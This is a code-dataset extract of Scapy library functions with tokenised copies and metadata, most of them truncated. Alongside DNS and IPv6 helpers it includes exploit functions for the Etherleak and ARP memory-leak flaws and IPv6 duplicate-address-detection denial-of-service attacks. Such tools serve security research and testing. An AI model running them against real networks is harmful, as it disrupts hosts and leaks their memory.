def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srp(Ether() / ARP(pdst=target), prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 filter="arp", **kargs)
[ "def", "etherleak", "(", "target", ",", "*", "*", "kargs", ")", ":", "return", "srp", "(", "Ether", "(", ")", "/", "ARP", "(", "pdst", "=", "target", ")", ",", "prn", "=", "lambda", "s_r", ":", "conf", ".", "padding_layer", "in", "s_r", "[", "1",...
Exploit Etherleak flaw
[ "Exploit", "Etherleak", "flaw" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L728-L732
train
secdev/scapy
scapy/layers/l2.py
arpleak
def arpleak(target, plen=255, hwlen=255, **kargs): """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} for pkt in ARP(pdst=target): # We have to do some of Scapy's ...
python
def arpleak(target, plen=255, hwlen=255, **kargs): """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} for pkt in ARP(pdst=target): # We have to do some of Scapy's ...
[ "def", "arpleak", "(", "target", ",", "plen", "=", "255", ",", "hwlen", "=", "255", ",", "*", "*", "kargs", ")", ":", "# We want explicit packets", "pkts_iface", "=", "{", "}", "for", "pkt", "in", "ARP", "(", "pdst", "=", "target", ")", ":", "# We ha...
Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
[ "Exploit", "ARP", "leak", "flaws", "like", "NetBSD", "-", "SA2017", "-", "002", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L736-L785
train
secdev/scapy
scapy/layers/dns.py
dns_get_str
def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False): """This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns...
python
def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False): """This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns...
[ "def", "dns_get_str", "(", "s", ",", "pointer", "=", "0", ",", "pkt", "=", "None", ",", "_fullpacket", "=", "False", ")", ":", "# The _fullpacket parameter is reserved for scapy. It indicates", "# that the string provided is the full dns packet, and thus", "# will be the same...
This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns: (decoded_string, end_index, left_string)
[ "This", "function", "decompresses", "a", "string", "s", "starting", "from", "the", "given", "pointer", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L30-L102
train
secdev/scapy
scapy/layers/dns.py
dns_encode
def dns_encode(x, check_built=False): """Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string """ if not x or x == b".": return b"\x00" if check_built and b"." not in x an...
python
def dns_encode(x, check_built=False): """Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string """ if not x or x == b".": return b"\x00" if check_built and b"." not in x an...
[ "def", "dns_encode", "(", "x", ",", "check_built", "=", "False", ")", ":", "if", "not", "x", "or", "x", "==", "b\".\"", ":", "return", "b\"\\x00\"", "if", "check_built", "and", "b\".\"", "not", "in", "x", "and", "(", "orb", "(", "x", "[", "-", "1",...
Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string
[ "Encodes", "a", "bytes", "string", "into", "the", "DNS", "format" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L105-L125
train
secdev/scapy
scapy/layers/dns.py
dns_compress
def dns_compress(pkt): """This function compresses a DNS packet according to compression rules. """ if DNS not in pkt: raise Scapy_Exception("Can only compress DNS layers") pkt = pkt.copy() dns_pkt = pkt.getlayer(DNS) build_pkt = raw(dns_pkt) def field_gen(dns_pkt): """Itera...
python
def dns_compress(pkt): """This function compresses a DNS packet according to compression rules. """ if DNS not in pkt: raise Scapy_Exception("Can only compress DNS layers") pkt = pkt.copy() dns_pkt = pkt.getlayer(DNS) build_pkt = raw(dns_pkt) def field_gen(dns_pkt): """Itera...
[ "def", "dns_compress", "(", "pkt", ")", ":", "if", "DNS", "not", "in", "pkt", ":", "raise", "Scapy_Exception", "(", "\"Can only compress DNS layers\"", ")", "pkt", "=", "pkt", ".", "copy", "(", ")", "dns_pkt", "=", "pkt", ".", "getlayer", "(", "DNS", ")"...
This function compresses a DNS packet according to compression rules.
[ "This", "function", "compresses", "a", "DNS", "packet", "according", "to", "compression", "rules", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L134-L214
train
secdev/scapy
scapy/layers/dns.py
RRlist2bitmap
def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = b"" lst = [abs(x) for x in sorted(set(lst)) if x <= 65535] # number of window...
python
def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = b"" lst = [abs(x) for x in sorted(set(lst)) if x <= 65535] # number of window...
[ "def", "RRlist2bitmap", "(", "lst", ")", ":", "# RFC 4034, 4.1.2. The Type Bit Maps Field", "import", "math", "bitmap", "=", "b\"\"", "lst", "=", "[", "abs", "(", "x", ")", "for", "x", "in", "sorted", "(", "set", "(", "lst", ")", ")", "if", "x", "<=", ...
Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record.
[ "Encode", "a", "list", "of", "integers", "representing", "Resource", "Records", "to", "a", "bitmap", "field", "used", "in", "the", "NSEC", "Resource", "Record", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L550-L599
train
secdev/scapy
scapy/layers/dns.py
dyndns_add
def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find("....
python
def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find("....
[ "def", "dyndns_add", "(", "nameserver", ",", "name", ",", "rdata", ",", "type", "=", "\"A\"", ",", "ttl", "=", "10", ")", ":", "zone", "=", "name", "[", "name", ".", "find", "(", "\".\"", ")", "+", "1", ":", "]", "r", "=", "sr1", "(", "IP", "...
Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136
[ "Send", "a", "DNS", "add", "message", "to", "a", "nameserver", "for", "name", "to", "have", "a", "new", "rdata", "dyndns_add", "(", "nameserver", "name", "rdata", "type", "=", "A", "ttl", "=", "10", ")", "-", ">", "result", "code", "(", "0", "=", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L890-L906
train
secdev/scapy
scapy/layers/dns.py
TimeSignedField._convert_seconds
def _convert_seconds(self, packed_seconds): """Unpack the internal representation.""" seconds = struct.unpack("!H", packed_seconds[:2])[0] seconds += struct.unpack("!I", packed_seconds[2:])[0] return seconds
python
def _convert_seconds(self, packed_seconds): """Unpack the internal representation.""" seconds = struct.unpack("!H", packed_seconds[:2])[0] seconds += struct.unpack("!I", packed_seconds[2:])[0] return seconds
[ "def", "_convert_seconds", "(", "self", ",", "packed_seconds", ")", ":", "seconds", "=", "struct", ".", "unpack", "(", "\"!H\"", ",", "packed_seconds", "[", ":", "2", "]", ")", "[", "0", "]", "seconds", "+=", "struct", ".", "unpack", "(", "\"!I\"", ","...
Unpack the internal representation.
[ "Unpack", "the", "internal", "representation", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L776-L780
train
secdev/scapy
scapy/layers/dns.py
TimeSignedField.h2i
def h2i(self, pkt, seconds): """Convert the number of seconds since 1-Jan-70 UTC to the packed representation.""" if seconds is None: seconds = 0 tmp_short = (seconds >> 32) & 0xFFFF tmp_int = seconds & 0xFFFFFFFF return struct.pack("!HI", tmp_short, tmp...
python
def h2i(self, pkt, seconds): """Convert the number of seconds since 1-Jan-70 UTC to the packed representation.""" if seconds is None: seconds = 0 tmp_short = (seconds >> 32) & 0xFFFF tmp_int = seconds & 0xFFFFFFFF return struct.pack("!HI", tmp_short, tmp...
[ "def", "h2i", "(", "self", ",", "pkt", ",", "seconds", ")", ":", "if", "seconds", "is", "None", ":", "seconds", "=", "0", "tmp_short", "=", "(", "seconds", ">>", "32", ")", "&", "0xFFFF", "tmp_int", "=", "seconds", "&", "0xFFFFFFFF", "return", "struc...
Convert the number of seconds since 1-Jan-70 UTC to the packed representation.
[ "Convert", "the", "number", "of", "seconds", "since", "1", "-", "Jan", "-", "70", "UTC", "to", "the", "packed", "representation", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L782-L792
train
secdev/scapy
scapy/layers/dns.py
TimeSignedField.i2repr
def i2repr(self, pkt, packed_seconds): """Convert the internal representation to a nice one using the RFC format.""" time_struct = time.gmtime(self._convert_seconds(packed_seconds)) return time.strftime("%a %b %d %H:%M:%S %Y", time_struct)
python
def i2repr(self, pkt, packed_seconds): """Convert the internal representation to a nice one using the RFC format.""" time_struct = time.gmtime(self._convert_seconds(packed_seconds)) return time.strftime("%a %b %d %H:%M:%S %Y", time_struct)
[ "def", "i2repr", "(", "self", ",", "pkt", ",", "packed_seconds", ")", ":", "time_struct", "=", "time", ".", "gmtime", "(", "self", ".", "_convert_seconds", "(", "packed_seconds", ")", ")", "return", "time", ".", "strftime", "(", "\"%a %b %d %H:%M:%S %Y\"", "...
Convert the internal representation to a nice one using the RFC format.
[ "Convert", "the", "internal", "representation", "to", "a", "nice", "one", "using", "the", "RFC", "format", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L803-L807
train
secdev/scapy
scapy/contrib/automotive/gm/gmlan.py
GMLAN.answers
def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return (other.service + 0x40) == self.service or \ (self.service == 0x7f and (self.requestServiceId == other.service)) return 0
python
def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return (other.service + 0x40) == self.service or \ (self.service == 0x7f and (self.requestServiceId == other.service)) return 0
[ "def", "answers", "(", "self", ",", "other", ")", ":", "if", "other", ".", "__class__", "==", "self", ".", "__class__", ":", "return", "(", "other", ".", "service", "+", "0x40", ")", "==", "self", ".", "service", "or", "(", "self", ".", "service", ...
DEV: true if self is an answer from other
[ "DEV", ":", "true", "if", "self", "is", "an", "answer", "from", "other" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/automotive/gm/gmlan.py#L88-L94
train
secdev/scapy
scapy/layers/inet6.py
neighsol
def neighsol(addr, src, iface, timeout=1, chainCC=0): """Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Mes...
python
def neighsol(addr, src, iface, timeout=1, chainCC=0): """Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Mes...
[ "def", "neighsol", "(", "addr", ",", "src", ",", "iface", ",", "timeout", "=", "1", ",", "chainCC", "=", "0", ")", ":", "nsma", "=", "in6_getnsma", "(", "inet_pton", "(", "socket", ".", "AF_INET6", ",", "addr", ")", ")", "d", "=", "inet_ntop", "(",...
Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Message is sent on iface. By default, timeout waiting for an...
[ "Sends", "and", "receive", "an", "ICMPv6", "Neighbor", "Solicitation", "message" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L85-L107
train
secdev/scapy
scapy/layers/inet6.py
getmacbyip6
def getmacbyip6(ip6, chainCC=0): """Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to per...
python
def getmacbyip6(ip6, chainCC=0): """Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to per...
[ "def", "getmacbyip6", "(", "ip6", ",", "chainCC", "=", "0", ")", ":", "if", "isinstance", "(", "ip6", ",", "Net6", ")", ":", "ip6", "=", "str", "(", "ip6", ")", "if", "in6_ismaddr", "(", "ip6", ")", ":", "# Multicast", "mac", "=", "in6_getnsmac", "...
Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed)
[ "Returns", "the", "MAC", "address", "corresponding", "to", "an", "IPv6", "address" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L111-L150
train
secdev/scapy
scapy/layers/inet6.py
in6_chksum
def in6_chksum(nh, u, p): """ As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all und...
python
def in6_chksum(nh, u, p): """ As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all und...
[ "def", "in6_chksum", "(", "nh", ",", "u", ",", "p", ")", ":", "ph6", "=", "PseudoIPv6", "(", ")", "ph6", ".", "nh", "=", "nh", "rthdr", "=", "0", "hahdr", "=", "0", "final_dest_addr_found", "=", "0", "while", "u", "is", "not", "None", "and", "not...
As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension head...
[ "As", "Specified", "in", "RFC", "2460", "-", "8", ".", "1", "Upper", "-", "Layer", "Checksums" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L563-L619
train
secdev/scapy
scapy/layers/inet6.py
defragment6
def defragment6(packets): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ # Remove non fragments lst = [x for x in packets if IPv6ExtHdrFragment in x] if not lst: return [] id = lst[0...
python
def defragment6(packets): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ # Remove non fragments lst = [x for x in packets if IPv6ExtHdrFragment in x] if not lst: return [] id = lst[0...
[ "def", "defragment6", "(", "packets", ")", ":", "# Remove non fragments", "lst", "=", "[", "x", "for", "x", "in", "packets", "if", "IPv6ExtHdrFragment", "in", "x", "]", "if", "not", "lst", ":", "return", "[", "]", "id", "=", "lst", "[", "0", "]", "["...
Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters.
[ "Performs", "defragmentation", "of", "a", "list", "of", "IPv6", "packets", ".", "Packets", "are", "reordered", ".", "Crap", "is", "dropped", ".", "What", "lacks", "is", "completed", "by", "X", "characters", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1027-L1078
train
secdev/scapy
scapy/layers/inet6.py
fragment6
def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragm...
python
def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragm...
[ "def", "fragment6", "(", "pkt", ",", "fragSize", ")", ":", "pkt", "=", "pkt", ".", "copy", "(", ")", "if", "IPv6ExtHdrFragment", "not", "in", "pkt", ":", "# TODO : automatically add a fragment before upper Layer", "# at the moment, we do nothing and return initial ...
Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is returned in result li...
[ "Performs", "fragmentation", "of", "an", "IPv6", "packet", ".", "Provided", "packet", "(", "pkt", ")", "must", "already", "contain", "an", "IPv6ExtHdrFragment", "()", "class", ".", "fragSize", "argument", "is", "the", "expected", "maximum", "size", "of", "frag...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1081-L1168
train
secdev/scapy
scapy/layers/inet6.py
names2dnsrepr
def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implement...
python
def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implement...
[ "def", "names2dnsrepr", "(", "x", ")", ":", "if", "isinstance", "(", "x", ",", "bytes", ")", ":", "if", "x", "and", "x", "[", "-", "1", ":", "]", "==", "b'\\x00'", ":", "# stupid heuristic", "return", "x", "x", "=", "[", "x", "]", "res", "=", "...
Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!!
[ "Take", "as", "input", "a", "list", "of", "DNS", "names", "or", "a", "single", "DNS", "name", "and", "encode", "it", "in", "DNS", "format", "(", "with", "possible", "compression", ")", "If", "a", "string", "that", "is", "already", "a", "DNS", "name", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L2244-L2265
train
secdev/scapy
scapy/layers/inet6.py
dnsrepr2names
def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] c...
python
def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] c...
[ "def", "dnsrepr2names", "(", "x", ")", ":", "res", "=", "[", "]", "cur", "=", "b\"\"", "while", "x", ":", "tmp_len", "=", "orb", "(", "x", "[", "0", "]", ")", "x", "=", "x", "[", "1", ":", "]", "if", "not", "tmp_len", ":", "if", "cur", "and...
Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list.
[ "Take", "as", "input", "a", "DNS", "encoded", "string", "(", "possibly", "compressed", ")", "and", "returns", "a", "list", "of", "DNS", "names", "contained", "in", "it", ".", "If", "provided", "string", "is", "already", "in", "printable", "format", "(", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L2268-L2293
train
secdev/scapy
scapy/layers/inet6.py
_NDP_Attack_DAD_DoS
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_f...
python
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_f...
[ "def", "_NDP_Attack_DAD_DoS", "(", "reply_callback", ",", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "tgt_filter", "=", "None", ",", "reply_mac", "=", "None", ")", ":", "def", "is_request", "(", "req", ",", "mac_src_filter", ",", "tgt_fil...
Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below.
[ "Internal", "generic", "helper", "accepting", "a", "specific", "callback", "as", "first", "argument", "for", "NS", "or", "NA", "reply", ".", "See", "the", "two", "specific", "functions", "below", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3380-L3429
train
secdev/scapy
scapy/layers/inet6.py
NDP_Attack_DAD_DoS_via_NS
def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS...
python
def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS...
[ "def", "NDP_Attack_DAD_DoS_via_NS", "(", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "tgt_filter", "=", "None", ",", "reply_mac", "=", "None", ")", ":", "def", "ns_reply_callback", "(", "req", ",", "reply_mac", ",", "iface", ")", ":", "\...
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By defau...
[ "Perform", "the", "DAD", "DoS", "attack", "using", "NS", "described", "in", "section", "4", ".", "1", ".", "3", "of", "RFC", "3756", ".", "This", "is", "done", "by", "listening", "incoming", "NS", "messages", "sent", "from", "the", "unspecified", "addres...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3432-L3485
train
secdev/scapy
scapy/layers/inet6.py
NDP_Attack_DAD_DoS_via_NA
def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a ...
python
def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a ...
[ "def", "NDP_Attack_DAD_DoS_via_NA", "(", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "tgt_filter", "=", "None", ",", "reply_mac", "=", "None", ")", ":", "def", "na_reply_callback", "(", "req", ",", "reply_mac", ",", "iface", ")", ":", "\...
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a NA reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By def...
[ "Perform", "the", "DAD", "DoS", "attack", "using", "NS", "described", "in", "section", "4", ".", "1", ".", "3", "of", "RFC", "3756", ".", "This", "is", "done", "by", "listening", "incoming", "NS", "messages", "*", "sent", "from", "the", "unspecified", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3488-L3546
train